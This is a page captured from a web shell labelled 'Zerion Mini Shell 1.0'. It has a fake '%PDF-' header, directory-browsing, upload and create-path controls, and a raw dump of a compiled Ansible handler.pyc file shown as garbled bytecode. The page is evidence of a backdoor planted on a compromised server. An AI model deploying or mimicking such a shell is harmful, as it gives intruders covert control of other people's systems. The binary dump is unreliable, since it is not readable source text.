%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3.9/site-packages/ansible/playbook/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3.9/site-packages/ansible/playbook/__pycache__/handler.cpython-39.opt-1.pyc

a

�)g��@sPddlmZmZmZeZddlmZddlm	Z	ddl
mZGdd�de	�ZdS)�)�absolute_import�division�print_function)�NonInheritableFieldAttribute)�Task)�string_typescsheZdZedeedd�Zd�fdd�	Zdd�Ze	dd	d
��Z
dd�Zd
d�Zdd�Z
�fdd�Z�ZS)�Handler�listT)Zisa�defaultZlistofZstaticNcs&g|_d|_tt|�j|||d�dS)NF��block�role�task_include)�notified_hostsZcached_name�superr�__init__)�selfrr
r��	__class__��</usr/lib/python3.9/site-packages/ansible/playbook/handler.pyrszHandler.__init__cCsd|��S)z8 returns a human readable representation of the handler zHANDLER: %s)Zget_name)rrrr�__repr__&szHandler.__repr__cCst|||d�}|j|||d�S)Nr)�variable_manager�loader)rZ	load_data)�datarr
rrr�trrr�load*szHandler.loadcCs|�|�s|j�|�dSdS)NTF)�is_host_notifiedr�append�r�hostrrr�notify_host/s
zHandler.notify_hostcs�fdd�|jD�|_dS)Ncsg|]}|�kr|�qSrr)�.0�h�r rr�
<listcomp>6�z'Handler.remove_host.<locals>.<listcomp>�rrrr$r�remove_host5szHandler.remove_hostcCs
||jvS)Nr'rrrrr8szHandler.is_host_notifiedcstt|���}d|d<|S)NTZ
is_handler)rr�	serialize)r�resultrrrr);szHandler.serialize)NNN)NNNNN)�__name__�
__module__�__qualname__rr	rZlistenrr�staticmethodrr!r(rr)�
__classcell__rrrrrsrN)
Z
__future__rrr�typeZ
__metaclass__Zansible.playbook.attributerZansible.playbook.taskrZansible.module_utils.sixrrrrrr�<module>s


Zerion Mini Shell 1.0